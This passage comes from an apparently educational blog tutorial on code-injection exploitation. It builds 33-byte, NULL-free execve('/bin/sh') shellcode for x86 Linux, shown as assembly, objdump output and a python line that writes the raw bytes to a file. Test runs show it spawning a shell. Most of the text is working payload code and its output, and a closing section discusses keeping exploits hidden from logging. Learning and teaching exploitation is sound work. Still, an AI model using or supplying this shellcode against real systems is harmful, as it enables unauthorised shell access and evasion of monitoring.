 code2.c:11:12: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]
 executeme = buffer;
 $
    • Now, we have code2_32 executable which we can use to test our shellcode written for 32-bit Intel systems.

  3. Testing our shellcode!

     $ cat exploit.txt - | ./code2_32

 whoami
 adwi

 echo $PATH
 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

 who
 adwi     tty7         Nov 26 17:51 (:0)

    • Amazing! The shellcode is working perfectly. We got the shell. One thing you should note that is you do not get the $ symbol. But you get a working shell.

    • Again, we wrote this shellcode for x86-Linux systems. This won’t work on x64-Linux systems.

Step7, 8, 9, 10: Writing no-NULL Byte Shellcode!

At the end of previous step, we successfully wrote working shellcode. But under certain conditions, it won’t work because there are plenty of NULL-characters in the middle of shellcode.

To make our exploit more reliable, we have to write the assembly program which doesn’t generate machine code with NULL characters. This might take time, but I suggest you do it yourself.

  1. The following program will give no-null character machine code.

     $ cat shell32_no_null.asm 
 section .text
     global _start

 _start: 
     xor eax, eax		; Set eax = 0
     push eax
        
     push 0x68732f2f
     push 0x6e69622f

     mov ebx, esp

     push eax
     push ebx
     mov ecx, esp

     xor edx, edx		; Set edx = 0
     mov al, 0xb		; Set eax = 0xb
     int 0x80

 exit: 
     xor eax, eax
     inc eax
     xor ebx, ebx
     int 0x80

  2. Assemble, link and run it:

     rev_eng_series/roughwork$ nasm shell32_no_null.asm -f elf32
 rev_eng_series/roughwork$ ld shell32_no_null.o -o shell32_no_null -m elf_i386
 rev_eng_series/roughwork$ ./shell32_no_null
 $ 
 $ whoami
 adwi
 $
    • We got a shell!!

  3. Extract shellcode from it. The following is the objdump output.

     rev_eng_series/roughwork$ objdump -Mintel -d shell32_no_null


 shell32_no_null:     file format elf32-i386


 Disassembly of section .text:

 08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	50                   	push   eax
 8048063:	68 2f 2f 73 68       	push   0x68732f2f
 8048068:	68 2f 62 69 6e       	push   0x6e69622f
 804806d:	89 e3                	mov    ebx,esp
 804806f:	50                   	push   eax
 8048070:	53                   	push   ebx
 8048071:	89 e1                	mov    ecx,esp
 8048073:	31 d2                	xor    edx,edx
 8048075:	b0 0b                	mov    al,0xb
 8048077:	cd 80                	int    0x80

 08048079 <exit>:
 8048079:	31 c0                	xor    eax,eax
 804807b:	b0 01                	mov    al,0x1
 804807d:	31 db                	xor    ebx,ebx
 804807f:	cd 80                	int    0x80

    • Extract shellcode and store it in exploit.txt.

        rev_eng_series/roughwork$ python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80'" > exploit.txt

  4. Test our shellcode using code2_32 program.

     rev_eng_series/roughwork$ cat exploit.txt - | ./code2_32
 whoami
 adwi


 who
 adwi     tty7         Nov 26 17:51 (:0)
 clear
 TERM environment variable not set.
    • Awesome! You now have working, no-null byte shellcode with you.

With this, we have successfully written shellcode for x86-Linux systems.

A few things about shellcode

There are different parameters to measure how good the shellcode is. Let us take a look at them.

  1. Reliable Shellcode : When you inject shellcode into a process, it is not always guaranteed that it will get executed successfully. We know why we removed the NULL characters. We removed it because a few input-taking functions, string functions consider NULL-byte as the end of string. strcpy, gets are 2 examples. read is a function which will take in the number of bytes specified. We need our shellcode to work under all of these conditions - this is being more reliable.

    • In this post, we just saw how to write shellcode, we still haven’t injected it into a real buffer overflow. A few problems arise with Buffer Overflow. There, we will use different set of techniques to make the complete exploit more reliable.

  2. Length of shellcode : Bottom line is, your shellcode should be able to work under strict memory conditions. Our shellcode is correctly 33 bytes - 25 bytes for execve and 8 bytes for exit. If the buffer is say 30 bytes, we can remove the exit part and keep only the core-execve part. So, our shellcode without exit part will work with buffer size >= 25.

  3. Stealthier exploit: This means, how well the exploit is hiding from the Security Measures taken to protect that machine. Suppose it’s a machine running a Web Server, it would have a lot of measures taken. In such machines, every activity is logged. Every Segmentation Fault is logged, every user login attempt is logged and more.

    • Suppose we are exploiting some other program in the same server. If we inject shellcode without the exit part, we might end up getting caught because in case the shellcode fails, it segfaults and it will be logged. So, the exit is helping us to keep away from the watching eyes.

    • This is probably not helping the exploit to be stealthier. In case our exploit fails, we will probably get one more chance to try out something else.

So, a lot was done in this post. We started with exit shellcode, then understood what execve is, how it helps us in getting a shell. Then we wrote C program, assembly programs to get shellcode. Finally, we wrote no-null byte shellcode, pretty small in length(33 bytes) and we were successful in getting a shell.

In the next post, we will see how to write what is known as reverse-shellcode, shellcode to exploit vulnerable programs on remote systems.

That is it for now.

Thank you!

Go to next post: Exploitation using Code Injection - Part3
Go to previous post: Exploitation using Code Injection - Part1